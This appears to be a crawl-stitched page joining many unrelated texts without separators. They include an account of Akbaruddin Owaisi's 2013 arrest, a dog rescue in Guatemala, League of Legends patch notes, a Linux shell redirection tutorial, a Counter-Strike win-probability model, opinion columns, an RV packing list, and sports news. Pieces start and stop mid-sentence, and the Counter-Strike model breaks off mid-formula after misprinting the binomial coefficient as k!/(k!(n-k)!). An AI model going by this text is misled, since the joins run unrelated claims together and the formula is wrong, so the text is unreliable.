Owaisi returned to Hyderabad on 7 January 2013 and was welcomed by his 7 MLA's and MIM leaders at the Hyderabad airport.[50][57] He later drove to his house in the Banjara Hills area of the city.[57] Owaisi failed to answer police summons at Nirmal town on 8 January, citing ill-health, and asked for four days' time to appear for investigation.[58] A team of doctors examined Owaisi at his home twice on 7 January and the police declared that he was fit for investigation, even though he complained of bad health.[59] Owaisi also petitioned the High Court of Andhra Pradesh to quash the cases filed against him in lower courts.[59] On 8 January, doctors examined him at the Gandhi Hospital and confirmed that their tests showed no medical grounds to prevent his arrest, following which he was arrested by Hyderabad police.[35] At the Gandhi Hospital, Owaisi alleged that the doctors were trying to murder him by giving lethal injections.[60]
After spending 40 days in prison, Akbaruddin Owaisi was granted bail[61][62] on 15 February, 2013.
Several notable people and organisations criticised Owaisi for the speeches.[63] The Andhra Pradesh Bharatiya Janata Party president, G. Kishan Reddy called for booking Owaisi, annulment of his assembly membership and de-recognition of All India Majlis-e Ittihad al-Muslimin.[51] Reddy said that "...religious bigotry, unabashed incitement of religious sentiments and contemptuous insinuation against Hindu gods and goddesses formed the crux of the speeches of a person who was sworn in as an MLA".[64] In a statement issued by the Confederation of Voluntary Associations (COVA) on 30 December, several social activists criticised the speech saying that such "obnoxious" speeches will lead to division of society, violation of peace and conflicts. The social activists demanded exemplary action to prevent such "intolerable" acts in future.[64] The signatories to the statement included Asghar Ali Engineer, Swami Agnivesh, Mahesh Bhatt, Hamid Mohammed Khan, Sandeep Pandey and Ram Puniyani.[64] Journalist and BJP leader Balbir Punj said that Owaisi's speech was tantamount to inciting Muslims to revolt against the police and army and start a civil war, and he added that the silence of the media was surprising. Senior Congress Leader and National Spokesperson Raashid Alvi said, "I don't know what Akbar said in his speech and i don't think he said what you just mentioned, but i am sure that Andhra Pradesh Government will do the needful".[34][65] Asaduddin Owaisi, elder brother of Akbaruddin, refused to comment on the speech saying the matter is sub judice.[34] Congress politician Digvijay Singh said that everybody should think before speaking and demanded action against people making such speeches.[34] TV news channel Times Now reported that the speech was so inflammatory and so provocative that they had decided not to broadcast it.[34] Najeeb Jung, vice-Chancellor of the Jamia Millia Islamia university, told CNN-IBN that the police was giving excuses of backroom investigation, while it was only a matter of two-minutes to investigate since the "TV cutout" was available for everybody to see and contents of speech were available on Wikipedia for everybody to read.[66] Jung said that the speech incited incendiary feelings between two communities of an extremely serious nature, and refused to believe Owaisi was ill.[66] BJP spokesperson Mukhtar Abbas Naqvi said referring to Owaisi and his party that the spirit of Osama bin Laden had entered into such people and they were trying to behave like the Taliban.[22][67]
The speech sparked anger and outrage on Twitter.[68] On 28 December, journalists Karan Thapar and Swapan Dasgupta tweeted "Inflammatory speech by MLA Akbaruddin – Remove police for 15 mins, We will finish off 1 billion Hindus."[69] Writer Taslima Nasreen tweeted that Owaisi is trying to indoctrinate the Muslims of India and such speeches will "produce thousands of Kasabs".[39] Farhan Akhtar tweeted on 2 January 2013: "How can two girls be arrested in less than 24 hours for a harmless FB post, but Owaisi roams free after his blatantly communal rant. He said Owaisi is doing a disservice to the people he pretends to serve and represent. Fact is he represents only himself and serves only himself". Meanwhile, Salman Khan’s father, Salim Khan, when asked about Owaisi in an interview, stated that Akbaruddin Owaisi is not a Muslim leader.[66][70] Shazia Ilmi said "Communalists like Owaisi should be arrested and not be glorified! They spew hatred, divide Indians and insult our nation".[71]A dog that was buried for over 18 hours was found and dug up after he was heard barking by rescuers.Translation -Can you see the dog?yea, he's right there under the debris(they start digging)hey be careful manOh! He's alive, yea he's alive(Man up front) He better not bite me(Camera man) he's not going to bite you. He sees you're trying to help him, why would he bite you?(Other guy) Don't pull him out! He's got to come out on his own(Camera man) Move your phone dude I'll send you the video later!There he comes! He's getting outHe's being reborn!He's out! Good job guysTranslation provided by punkcore2012Nicknamed el Afortunado - The Lucky One - he lived through mudslides and chaos caused by torrential rains in Guatemala that have killed nearly 50 people.Afortunado never gave up hope in his subterranean tomb, barking constantly in a bid to attract human attention to his canine plight.He was buried in Joya Grande village, north-western Guatemala, after an avalanche sent themountainside crashing on to the primitive houses.Jose Guerdola, one of the team members sent to search for survivors, said: "We werelooking for people and always, always was this faint sound, like a permanent rapping or tapping."We assumed it was someone trapped in a cellar who was hitting a pipe. We dug and dug, and we sweated and slaved, and as we got closer we realized it was the barking of a dog."When we broke through to where he was he jumped into our arms and licked ourfaces. Unfortunately there was no-one left alive in the rubble with him but we took him to safety."Local vets checked up on Afortunado and, apart from mild shock and dehydration, he is none the worse for his ordeal. He has been placed in the care of a local animal shelter until a family can be found that will take him in.US President Barack Obama stands alongside Saudi new King Salman (R) after arriving on Air Force One at King Khalid International Airport in the capital Riyadh on January 27, 2015. Obama landed in Saudi Arabia to shore up ties with new King Salman and offer condolences after the death of his predecessor Abdullah. AFP PHOTO / SAUL LOEB (Photo credit should read SAUL LOEB/AFP/Getty Images)
WASHINGTON, March 25 (Reuters) - U.S. President Barack Obama has authorized logistical and intelligence help in support of a Saudi-led military operation in Yemen to beat back Houthi militia forces, the White House said late on Wednesday.
"While U.S. forces are not taking direct military action in Yemen in support of this effort, we are establishing a Joint Planning Cell with Saudi Arabia to coordinate U.S. military and intelligence support," a White House statement said.[ WIP POSTThe patch is out and server is up ]The PBE has been updated! New stuff includes a passive indicator for, as well as tentative balance changes for, andContinue reading for more information!
(Warning: PBE Content is tentative and iterative - what you see may not reflect what eventually gets pushed to live servers! Manage your expectations accordingly. )
Nautilus Passive Timer
[ Update ] SmashGizmo with context on Maokai Changes
SmashGizmo
"Totally get this confusion and I'll do my best to clarify how we got to where we currently are on the W changes.
Essentially the start of the changes to the character were centered around the ult and making it more usable and the initial proposal for ult change was a slightly less polished version of the change you see on PBE today. We liked most of what we saw with this version of the ult, but it left a fundamental flaw in the character where he had an ultimate that made him want to stick by and protect his teammates that was constantly at odds with the 650 range snare dash that screamed "initiate on the opposing backline." The two mechanics didn't make sense together, so we set out to re-focus the W around shorter range, but faster teamfight positioning that was most effective vs. the opposing front line to keep Maokai closer to his allies. This is also the reason why the damage paradigm shifted from flat damage to % damage; we wanted Maokai's W to be more target agnostic so that you can feel good about W'ing to that opposing Vi rather than always feeling compelled to dive the opposing squishies.
The results of these changes have been pretty promising in playtests. Maokai still has decent ability to start fights by opening with Sapling slow to make up the extra range lost on the W, but it doesn't feel quite as inevitible and frustrating when playing against, and meanwhile Maokai gets to feel much better about using the W to get in useful positions for protecting other members of his team. I want to continue to monitor this and test my assumptions about how this is playing out on PBE, but as I said, thus far I've been pleased with the result that this change has on it's kit alongside the other changes that support it (the E for giving him some reach in ganks/initiation scenarios and the R for preferable teamfight positioning).
Hope this helps you understand where we're coming from on this!"
"Yes, as we've said in the forecast, itemization is also being looked at and improved for Tank Junglers this patch, which involves some changes that I won't go into on the Golem line since we're still hashing out some of the details before sharing them with yall. Still not sure when they'll be ready for PBE, but I can tell you that the benefits that tanks are seeing from these changes in internal playtests have been very promising."
Balance Changes * Remember *: The PBE is a testing grounds for new, tentative, and sometimes radical changes. The changes you see below may be lacking context or other accompanying changes that didn't make it in - don't freak out! These are not official notes.
[ Click here to check out the 4.11 Live Gameplay Patch Forecast, featuring context on many of the changes we can expect to hit the PBE in the 4.11 cycle! ]
Champions Braum
Stand Behind Me ( W ) reverted back to live values. Flat armor magic resist returned to 15/17.5/20/22.5/25 from 10/12.5/15/17.5/20 % of Braum's Bonus Armor and Magic resist returned to 10/11.5/13/14.5/16% from 10/12/14/16/18 Jax
HP per level reduced to 85 from 98
Armor per level reduced to 3 from 3.5
Base HP reduced to 450 from 463
Attack speed per level reduced to 2.2 from 2.5
Righteous Fury ( E ) both AP ratios ( hit and splash ) reduced to.2 from.4
Staggering Blow ( Passive ) now has an indicator to show the cooldown of the root. See above.
now has an indicator to show the cooldown of the root. See above. Staggering Blow ( Passive ) can now trigger once every 8 seconds at level 6, once every 7 seconds at 11, and once every 6 seconds at 16, down from 9 seconds at all levels.
[ Screen shot taken at level 11, passive is down to triggering every 7 seconds ]
Unstable Matter ( W ) cooldown increased to 5 at all ranks from 4 at all ranks
cooldown increased to 5 at all ranks from 4 at all ranks Unstable Matter ( W ) now also includes : "When Zac reabsorbes a piece of himself, Unstable Matter's cooldown is reduced by 1 second."
now has an indicator for his passive! Just likeE,' passive will trigger a circle indicator that count down until he can root that target again. popped on reddit to give extra context on thechanges included in tonight's update:He also reiterated that additional tank jungler itemization changes are on the way:Miss out on previous updates from this PBE cycle? Check outfor a comprehensive list of the new content in this PBE cycle or catch up with the links below!My colleague at The Times, David Cay Johnston, took a look at income patterns in the U.S. over the past few decades in his new book, “Free Lunch: How the Wealthiest Americans Enrich Themselves at Government Expense (and Stick You With the Bill).”
From 1980 to 2005 the national economy, adjusted for inflation, more than doubled. (Because of population growth, the actual increase per capita was about 66 percent.) But the average income for the vast majority of Americans actually declined during that period. The standard of living for the average family has improved not because incomes have grown, but because women have gone into the workplace in droves.
The peak income year for the bottom 90 percent of Americans was way back in 1973 — when the average income per taxpayer (adjusted for inflation) was $33,001. That is nearly $4,000 higher than the average in 2005.
It’s incredible but true: 90 percent of the population missed out on the income gains during that long period.
Photo
Mr. Johnston does not mince words: “The pattern here is clear. The rich are getting fabulously richer, the vast majority are somewhat worse off, and the bottom half — for all practical purposes, the poor — are being savaged by our current economic policies.”
His words are echoed in a proposed stimulus plan currently offered by the Economic Policy Institute in Washington. (The plan is available on its Web site, epi.org.) Stressing that any stimulus package should be “fair,” the authors of the institute’s proposal wrote:
“The distribution of wages, income and wealth in the United States has become vastly more unequal over the last 30 years. In fact, this country has a more unequal distribution of income than any other advanced country.”
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Economic alarm bells have been ringing in the U.S. for some time. There was no sense of urgency as long as those in the lower ranks were sinking in the mortgage muck and the middle class was raiding the piggy bank otherwise known as home equity.
But now that the privileged few are threatened (Merrill Lynch took a $9.8 billion fourth-quarter hit, and the stock market has spent the first part of the year behaving like an Olympic diving champion), it’s suddenly time to take action.
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There is no question that some kind of stimulus package geared to the needs of ordinary Americans is in order. But that won’t begin to solve the fundamental problem.
Good jobs at good wages — lots of them, growing like spring flowers in an endlessly fertile field — is the absolutely essential basis for a thriving American economy and a broad-based rise in standards of living.
Forget all the CNBC chatter about Fed policy and bargain stocks. For ordinary Americans, jobs are the be-all and end-all. And an America awash in new jobs will require a political environment that respects and rewards work and aggressively pursues creative policies designed to radically expand employment.
I’d start with a broad program to rebuild the American infrastructure. This would have the dual benefit of putting large numbers of people to work and answering a crying need. The infrastructure is in sorry shape. New Orleans comes to mind, and the tragic bridge collapse in Minneapolis.
The country that gave us the Marshall Plan to rebuild postwar Europe ought to be able, 60 years later, to reconstitute its own sagging infrastructure.
There are also untold numbers of jobs and myriad societal benefits to be reaped from a sustained, good-faith effort to achieve energy self-sufficiency. Think Manhattan Project.
The possibilities are limitless. We could create an entire generation of new jobs and build a bigger and fairer economy for the 21st century. If only we were serious.In addition to this, I also realized that the way in which I work has been developed over time where, when I am confronted with something difficult to do or learn, I had developed techniques to ‘get though it’ with the least amount of what I had perceived as ‘suffering’.This was mostly developed throughout my schooling years, and I realized that within the public school system, I had created an idea or perception of myself wherein I believed that I was less-than most pupils. I believed I wasn’t as smart, and that if I faced a challenge or a difficulty it meant that I was unable to do it (wasn’t smart enough to think it through). So instead of actually trying, I would want to avoid the whole challenge or situation, because I wouldn’t want to face the fact that I felt so insecure and less-than, that I felt it was easier to try to fool everyone around me and ‘fake-it’ through the situation. Of course this is a terrible tactic, because in the end, even if the goal is achieved, the grade passed or the job acquired, within myself, I would know I didn’t actually deserve it. I would know that I didn’t actually let myself be challenged, or let myself really try and see how my self-expression would come through in terms of how I would handle the challenge or difficulty if I weren’t hindered by the belief that ‘I can’t do it’. The consequence of this is constantly feeling insecure about one’s own work. Feeling that there is something to hide and fearing exposure, and this fear would be realized every time I would slip up or make a mistake. It would be like “ah-ha I knew it! I knew I would mess up”. In this way, it also becomes a self-fulfilling prophecy, exactly as I describe in my last blog, which should be read for context.Promotional emails may soon be taking on a different look to some Gmail users.
Google is experimenting with a new way of displaying promotional emails that emphasizes photos.
The new look, which Google is calling grid view, puts the photo-filled messages from the Promotions tab of your inbox into a grid that emphasizes the images within the messages.
"With only subject lines to go on, it can be a challenge to quickly pick out the deals and offers that interest you most,' said Google product manager Aaron Rothman in a blog post announcing the experiment. "To help you find what you’re looking for faster, you can now sign up for a new field trial for Gmail that lets you view the Promotions tab in a more visual way."
Google is experimenting with grid view for promotional emails. Image: Google
To make it easier to find all your emails, grid view comes with infinite scrolling. The feature can also be disabled altogether at any time.
The feature is still experimental so it's not yet clear if Google has plans to make it a permanent addition to Gmail and it's currently only available to a limited number of Gmail users. Those interested in trying out the new look can sign up with Google for a chance to be selected to trial the new feature.
Google also added a support page for developers detailing how developers can best take advantage of the new feature.ls -l > filelist.txt
ls -l >> filelist.txt
sort < filelist.txt
sort < filelist.txt > sorted_filelist.txt
ls -l | less
ls -l | grep tux
With > you can forward the output of a command to a file (output redirection), with < you can use a file as input for a command (input redirection).By means of a pipe symbol | you can also redirect the output: with a pipe, you can combine several commands, using the output of one command as input for the next command. In contrast to the other redirection symbols > and > instead of >. Enteringsimply appends the output of the ls command to an already existing file named filelist.txt. If the file does not exist, it is created.2) Redirections also works the other way round. Instead of using the standard input from the keyboard for a command, you can use a file as input:This will force the sort command to get its input from the contents of filelist.txt. The result is shown on the screen. Of course, you can also write the result into another file, using a combination of redirections:If a command generates a lengthy output, likemay do, it may be useful tothe output to a viewer like less to be able to scroll through the pages. To do so, enterThe list of contents of the current directory is shown in less.The pipe is also often used in combination with the grep command in order to search for a certain string in the output of another command. For example, if you want to view a list of files in a directory which are owned by the user tux, enterHillary Clinton is a manipulative, power-mad liar.
Donald Trump is a selfish, sexist, narcissistic bully.
These are our choices Nov. 8?
The leading candidates' avarice is bad enough. Their ideas are worse.
Clinton wants to micro-regulate America into poverty and stagnation. Trump would start a trade war, if not an actual war.
While America is going bankrupt, both candidates brag that they will spend more—Trump on the military and his pointless wall, Clinton mostly on social programs.
Both promise a new child care entitlement: paid maternity leave. I'd think a Republican presidential candidate would resist promising more "free" stuff. But Trump, with daughter Ivanka standing behind him, offers Clintoncare "lite": paid leave for six weeks instead of 12.
Naturally, the Clinton media want more. Socialist cheerleaders at Fortune complain that Trump's proposal is stingy compared to Clinton's and very stingy compared to real family leave, offered by civilized nations in Europe—especially Greece.
Hello? Have you not noticed how Greece suffers largely because of "generous benefits" like that? You think it's a coincidence that Greece's unemployment rate is 25 percent? Why would employers hire workers if they must later give them 12 weeks of pay not to work?
I'd think Fortune writers and Democratic and Republican presidential candidates would understand that "free" benefits come with nasty costs. But they don't understand. Or if they do, they just ignore it.
Libertarian Party candidate Gary Johnson doesn't ignore these problems. He promises to avert America's bankruptcy by cutting spending 43 percent.
But the candidate of the third party (I should call Libertarians the first party, since they respect the Constitution) is in a tough spot. He must both convince voters that he has better ideas—and that he's not strange. That's tough to do when you're a politician who stumbles over words and the RepubliDems won't allow you into the debates. Recent polls show that almost 40 percent of Americans don't even know that Johnson's running.
That's too bad. If there were ever a year for a third party to thrive, this was it. Most voters—from both major parties—are unhappy with their party's nominee.
Sadly, they are not unhappy enough to vote for Gary Johnson. I have to respect the betting; bettors give Johnson just a.1 percent chance.
The bettors also say Clinton is favored 84 percent to 15 percent over Trump. Get ready for President Clinton. Sigh.
Polls suggest about 6 percent of Americans will vote Libertarian.
Some will be Bernie Sanders supporters. How can that be? Sanders is a socialist! He's an economic illiterate who wants government to control more!
But on civil liberties, Sanders is better than Trump and Clinton.During a Counter-Strike match of one’s favorite team one could be interested in its winning chances. In a first attempt it is obvious to simply compare the two teams’ scores and consider the team with the higher score the favorite for winning the match. While this method will provide reliable results in cases where the difference between scores is reasonably high there are situations in which comparing scores does not properly reflect the advantage of one team or the other. For example, in a match with overtime a half-time score of 8–7 on Nuke does not favor the Counter-Terrorists (CTs) at all. Instead, calculations show that although leading in score their winning chances are shrunk to a surprisingly low probability of 25%. This is because on Nuke it is much more likely that CTs win a round rather than the Terrorists (Ts). Therefore the winning margin of 1 point cannot compensate the fact that the leading team will have to play Terrorists in the second half of the match. In fact, it is nearly impossible that a map is perfectly balanced. The fact that a map favors either CTs or Ts shall be described by a property called map bias.
In the following there will be presented a mathematical model for the score-based estimation of the probability of winning in Counter-Strike for both matches with and without overtime. Subsequently, the results of the calculations will be presented and discussed.
Definitions
If you are scared by numbers or simply not interested in the mathematical derivation of probabilities you can skip to the Results section.
Without loss of generality the following definitions are given from a Counter-Terrorists’ perspective. Let $p$ denote the probability of CTs winning a round and let $1-p$ denote its converse probability of losing a round. Let further $w, l \in \mathbb{N}$ describe the CTs’ wins and losses, respectively. In regular time a match lasts $2R$ rounds while an overtime cycle lasts $2r$ rounds. A match can either have 2 or 3 possible outcomes. If a match is decisive it results in an overall win for either CTs or Ts. If a match is not decisive and therefore played without overtime it can be drawn when both teams score $R$ points.
The probability mass function of the binomial distribution is given by \[ B_{n,p}(k) = {n \choose k}~p^k~(1-p)^{n-k} \] and its cumulative distribution function can be expressed by \[ F_{n,p}(k) = \sum_{i=0}^{k} B_{n,p}(i) = \sum_{i=0}^{k} {n \choose i}~p^i~(1-p)^{n-i} \] where the binomial coefficient is defined as \[ {n \choose k} = \frac{k!}{k!(n-k)!} \mbox{ for } k = 0, \ldots, n.\]
Mathematical model for matches without overtime
At first, let us assume that there won’t be an overtime (therefore $w+l \leq 2R$). Let us further assume that the first half of the match has passed (therefore $w+l \geq R$). As the threshold to win a match is $R+1$ CTs have left to score $R+1-w$ points to win. This may be achieved within the remaining $2R-w-l$ rounds. However, it is important to note that the winner of a match always wins the last round played. Therefore the remaining $R-w$ wins can be distributed among the $R-1-w-l$ remaining rounds. The probability $P_{2R}^{2nd}(w,l)$ of CTs winning the match can then be calculated by \[ P_{2R}^{2nd}(w,l) = (1-p)^{R+1-w} ~ \sum_{i=0}^{R-1-l} {R-w+i \choose R-w} \cdot {p}^{i}. \]
Now, let us assume that the match did not yet finish the first half and therefore $w+l \leq R-1$ is satisfied. In order to calculate the probability of winning $P_{2R}^{2nd}(w,l)$ has to be added up after multiplying the probability for each possible half-time score, namely \[ \{(w’,l’) \in \mathbb{N}^2~|~w’+l’ = R \wedge w’ \geq w \wedge l’ \geq l \}.\] Therefore we define $P_{2R}^{1st}(w,l)$ as \[ \sum_{w’=0}^{T} {T \choose w’} ~ p^{w’} (1-p)^{T-w’} P_{2R}^{2nd}(w+w’,R-w-w’) \] with $T=R-w-l$. We can now assemble the final probability function \[ P_{2R}(w,l) =\begin{cases} P_{2R}^{1st}(w,l), & \text{for }0 \leq w+l \leq R-1 \\[1.3ex] P_{2R}^{2nd}(w,l), & \text{for }R \leq w+l \leq 2R \\ \end{cases} \] that calculates CTs’ probability of winning in matches without overtime for any score such that $0 \leq w+l \leq 2R$.
Mathematical model for matches with overtime
The model above can be used to derive a probability function that considers matches with overtime. Let $D_{2R}(w,l)$ be the probability that a match is not decisive in regular time and therefore runs through the score R–R (e.g. in a match of 30 rounds 15–15). Because an even score after regular time implies equal winning chances of 50% for both CTs and Ts the probability of winning a match with overtime is given by \[ P_{2R,2r}(w,l)=\begin{cases} P_{2R}(w,l) & \text{ }0 \leq w+l \leq 2R-1 \\ \quad + \frac{1}{2} D_{2R}(w,l) & |
the energy rich Caucasus and Central Asia, to the new Middle East emerging from the Arab Spring. Turkey’s unique geo-strategic position, plus the strength of NATO’s second-largest army would greatly add to European security.
The 2016 coup attempt demonstrates that Turkey is not a mature European-style democracy. Its politics are a tussle between an overbearing military and Islamists of varying hues. Human rights are routinely abused. Dozens of journalists languish in jail. Amnesty International’s annual report is filled with accounts of torture, free speech violations, denial of minority rights, unfair trials, failure to protect women. Europe would import the intractable Kurdish issue. Public opinion in the EU is overwhelmingly opposed and the Turks are only lukewarm about joining.
Turkish democracy is at a crossroads. Until recently, the prospect of EU membership had spurred reforms that strengthened pluralistic politics and improved human rights. President Erdoğan, however, has been accused by critics of turning Turkey into an “illiberal democracy”, centralising power in the office of the president and silencing critics with litigation. The passage to EU membership could provide the incentive Turkey needs to shrug off emerging authoritarian tendencies and commit fully to democracy. Turkey is a strong and loyal NATO ally. Leaving it in the cold could see this growing economic and diplomatic power develop into an uncomfortable rival to European interests in a sensitive region. Having accepted Turkey as a candidate, rejecting it now would undermine European credibility.
3. ECONOMICS The Turkish economy is thriving. Its GDP growth average for 2014 was around 3.5% and it weathered the global financial downturn much better than most EU nations. Its public finances are the envy of Southern Europe. Per-capital income has increased six-fold and the average Turk is now better off than his or her Romanian and Bulgarian counterparts in the EU. Only New York, London and Moscow have more resident billionaires than Istanbul. Bringing in such a dynamo would inject new life into the EU economy, as well as adding 75 million consumers to the single market.The more storage you have, the more you accumulate.
I think this is a law somewhere.
Space is always a factor when you are RV-ing. It doesn’t matter if you have a tiny RV or a monstrous behemoth, all RV-ers struggle with the question of what to take and what to leave behind. Find out more by contacting an insurance agent in your area.
We’ve just completed our first year full-time RV-ing, and it is astonishing to realize the amount of stuff we’ve been carrying around that we haven’t used once in the past year!
Would you believe we’re carrying around a 12-man tent and a turkey fryer? Don’t judge me.
But hey, rather than focus on the things we’re carrying that are fairly ridiculous, here is a list of 10 things we carry in our RV that we actually use and why they are important to us.
As a quick note, we don’t get paid to mention any specific brands, and the links are not affiliate links. This is just a list of 10 things we honestly love having in our RV.
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1. Roadside Assistance Card
When you need a tow, you’ll be thankful to have roadside assistance. We’ve had to use our membership three times in the past year and it has paid for itself at least 10 times over. There are many companies to choose from: Good Sam, Coach-Net, AAA, insurance carriers, etc.
Do yourself a favor. If you don’t have a roadside assistance membership, get one. Now. We actually have two different types of coverage!
Cost: About $140/year
2. Portable Folding Propane Grill
What would RVing be without a great grill? Don’t go cheap on this. If you like camping, you’ll use it all the time. We went with the Weber Q2200. We’ve been really happy with it and have had no issues in a full year of heavy usage.
Cost: About $250
3. Folding Table
You can purchase folding tables practically everywhere. What you won’t find everywhere is a table at your campsite. The nice thing is that folding tables are lightweight and can serve a variety of purposes.
You’ll probably end up using your folding table at nearly every campsite, even if there’s already a table there. They are great for meals, games, hobbies and to help hold down your outdoor rug to boot.
Small rigs benefit greatly from folding tables, too. They fold up to have a thin footprint and are weather resistant. So you only need to keep them inside the rig while you are traveling. They’ll be one of the first things to come out when you park.
Cost: $30 to 80 depending on quality
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4. Brass Y Valve
Nearly every campsite we’ve stayed at in the past year has had a water connection with only one spigot. It’s easy to double the functionality of this connection with a brass Y valve.
Whether you need an extra line for washing your hands, your rig, your car, or just to wet down your traveling partner for fun, this is an indispensable item!
Cost: $10 to $15
5. Internet Connectivity
We work for ourselves online and like to stream movies in our downtime. But unlike conventional stick and brick homes, RVs don’t have the luxury of unlimited Internet. So if you want to stay connected on the go, we recommend signing up with a reputable carrier before you hit the road.
You probably don’t need the ridiculous amount of data we have. But in case you’re curious, we have a Verizon Jetpack and our iPhones through AT&T. We have 30 gigabytes on each carrier for a total of 60 gigs.
As a note, we keep two carriers because we’ve run into places where one carrier has excellent coverage and the other has none.
Cost: $50 to $250/month depending on data requirements
6. A Great Vacuum
Remember that you are staying at campsites. This means dirt, mud, grass and bugs. So having a top-of-the-line vacuum is a must. But your vacuum should have a small footprint and be rechargeable and cordless for maximum functionality.
We have the Dyson Digital Slim and couldn’t be happier with it.
Cost: $250 to $300
7. GrooveBook Subscription
In this day and age, we all have digital pictures. We have them on our computers, phones, social networks and data cards. Heck, we even have them in the cloud. But did you know that for a very small monthly fee, you can have hard copies of 100 of your photos delivered to you? It’s true!
The photos come bound in a book (the GrooveBook), but they are perforated so you can tear them out and give them to relatives and friends. The GrooveBook’s footprint is tiny and it makes for great conversations with people you meet on the road or by the campfire.
If you are RVing around the country, you’re going to take a ton of photos. At this price point, preserving your memories in a tangible form is a no-brainer!
Cost: $2.99/month
8. Folding Step
Our folding step gets so much use that we’re in need of a new one! We use it to sit on while we are outside our storage bays, like when we’re dumping our black and grey water tanks. The step is a great back saver. We also use it when we’re at a site that isn’t terribly level and we need an extra step to get into our entrance. It’s also handy for standing on to reach things that are just out of reach when doing repairs or cleaning.
A small folding step is one of the simplest things to carry and it gets a ton of use!
Cost: $10 to $30
9. High-Quality Sewer Hose
If you’ve ever had a sewer hose burst, rupture or otherwise explode while you were emptying out your black water tank, we feel your pain.
One of the first purchases we made was the Dominator RV Sewer Hose Kit, which has performed perfectly. It is solidly built, collapsible and dependable.
Don’t skimp here. Make sure you fork over some dough upfront on your sewer hose.
Cost: $60
10. Portable Dehumidifier
This little gizmo is fantastic! When you live in a small space, even taking a shower can cause the humidity in your RV to climb off the charts. This is not a good thing. But with a tiny dehumidifier, you can remedy that situation.
We have the Eva-Dry Renewable Mini Dehumidifier and it is a must-have. We’re actually thinking of getting a second one even as I write this. Because it is small and portable, you can move it around the RV as needed.
We normally keep ours in our pantry to keep things cool and dry.
Cost: $20 to $25
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Other Things Worth Carrying
There are plenty of other things we think are worth carrying in the RV:
Collapsible crates from Ikea
Collapsible anti-gravity chairs
Bikes and a bike rack
High-pressure nozzle for washing the rig
Bungee cords
High-quality rubber gloves
Cordless drill and impact driver
Telescoping ladder
…and many more.
What to Ask When You Can’t Decide What to Keep
Whether you’re just starting out on your RV adventure, or you’re doing some spring cleaning to get rid of the things you haven’t used in a while, here are some questions to ask yourself when making decisions:
Have I used this item in the last year? How many times have I used this item in the last year? Is it cheaper to donate the item and buy a new one if I need to use it again? Does this item serve multiple purposes? Where will this item be stored when I’m traveling? Where will this item be stored when I’m camping?
We hope you like our list and tips. We’re interested to hear your own must-haves and tips in the comments below. Find out more by contacting an insurance agent in your area.
Safe travels and we hope to see you on the road!The book Tintin and Sinbad, written by Mohammad Mirkiani, is an Iranian book for teenagers that relates the story of Tintin, a fictional character created by the Belgian cartoonist Georges Remi, and Sinbad, a fictional sailor and the hero of a story-cycle of Middle Eastern origin.
On October 28, 1994, Ayatollah Khamanei wrote a short note in praise of the book. The note was unveiled on Monday, August 8, 2016, after 22 years.
In this note, the Leader advices all teenagers to read the book, and voices his pleasure to see the book is relating what he himself has always been telling other people, but they did not believe it.
The book reportedly deals with a failed plot by the Western Tintin against Sinbad, a symbol of the Orient. Here is IFP’s translation of the Leader’s note:
“I always used to tell the same story. It’s a pity that not many people believed it. Now it’s good and here’s the evidence! The narrator of this story, who has witnessed everything with his own eyes, has published the story of Tintin and Sinbad. Now my job is easier! The only thing I need to do is to present a copy of the book to all children,” the Leader said about the teen book.
Here is what Ayatollah Khamenei’s official website has written about the book:
‘Tintin & Sinbad’ is a work of fiction and metaphor narrating contrasts between two characters of Tintin and Sinbad, each representing western and eastern cultures, respectively, written for teenagers. In this book, characters like Sinbad, Ali Baba and the like, who were once very popular in eastern stories, go to a challenge against exaggerated protagonists and paper tigers of west. Contrary to illogical and aggrandized powers of western heroes, eastern legends take logical and rational measures and stand against their invasion and aggressions with patience and unity and save their land. The repeated story of western invasions on eastern territories and colonialism Asian and African countries suffered, reappears in a new form and with the objective of dominance over minds and cultures is narrated in ‘Tintin and Sinbad.’SANDY, Utah – Real Salt Lake did something on Wednesday they haven't done in about eight months.
They practiced twice.
“We haven't had a two-a-day in quite some time,” said defender Nat Borchers. “I think preseason is the last time we got after it like this.”
Said midfielder Luis Gil: “It's a little different. We weren't used to it, but it's good. We don't have a game this weekend, so we've got to get at it this week and put in the work.”
RSL is in the midst of their second 14-day break in six weeks. Not exactly ideal for a team still in the hunt for the Supporters' Shield, perhaps, and definitely battling for one of the higher seeds in the upcoming MLS playoffs.
“Crazy schedule,” Borchers said. “I can't understand how we've got this break and we had a break a few weeks back. It definitely takes the wind out of our sails a little bit from that standpoint. But from the other standpoint, we get some good work in. I think you need days like this to really get your legs back.”
MLS Insider: Relive RSL's magical CCL run
Head coach Jason Kreis indicated earlier in the week that he wanted to do things a bit differently than he did during the last two-week break, from Aug. 30 to Sept. 13. That time, the team took it relatively easy, and some of the veterans got a week off.
But after wins over Portland and Columbus before the break, RSL returned to drop consecutive matches to Seattle and San Jose, only the second time in 2013 Salt Lake dropped two in a row.
“We didn't come back sharp from the last break,” Borchers said. “So we really need a good week of training.”
Find more RSL news at RealSaltLake.com
Wednesday's afternoon session saw the team “working on some defensive stuff,” Gil said. “You can never get enough of that. And it's always good to get your feet moving around.”
In one respect, the break works to RSL's advantage. Captain Kyle Beckerman, goalkeeper Nick Rimando and leading scorer Álvaro Saborío are all off on international duty as the US and Costa Rica – who have both already clinched berths in the 2014 World Cup – play qualifiers on Oct. 11 and 15.
All four are expected to be available when Real Salt Lake travel to Portland on Oct. 19.
“It's good for us, because we don't have a game this weekend,” Borchers said. “ But the fact that LA and Seattle have national-team players and they're going to be gone this weekend – they're going to miss them.”PEBBLE BEACH, Calif. – Before Tiger Woods was Tiger Woods, there was John Daly.
Long off the tee, Daly was an instant fan favorite when he captured the PGA Championship as an alternate in 1991.
The sky was the limit for Daly when he stepped off the 18th green on that Sunday at Crooked Stick Golf Club outside of Indianapolis to claim what looked to be the first of many majors.
Unfortunately for Daly, time moved on. He seemed to lose interest, and his off-the-course life spilled over into his play on the course. He was effectively done.
Injuries of all kinds also beset him during that time, but ultimately Daly was the reason for Daly’s demise.
On Thursday, Daly showed form that he hasn’t displayed in a very long time and put together a bogey-free 7-under 65 at Pebble Beach Golf Links in the first round of the AT&T Pebble Beach National Pro-Am.
“I think I speak for pretty much every guy out here,” Daly said. “They don’t come easy and they don’t come often. You know, 68, 69, 70 sometimes come often for us, but not 64, 5, 6s and 3s and 2s. They don’t come that often. I’m happy about it.”
Daly needed only 26 putts around the Jack Neville and Douglas Grant design, with six of them more than 6 feet, including the 14-footer at the last to record his seventh birdie and his best round since a 64 in the third round of the Sony Open in Hawaii last year.
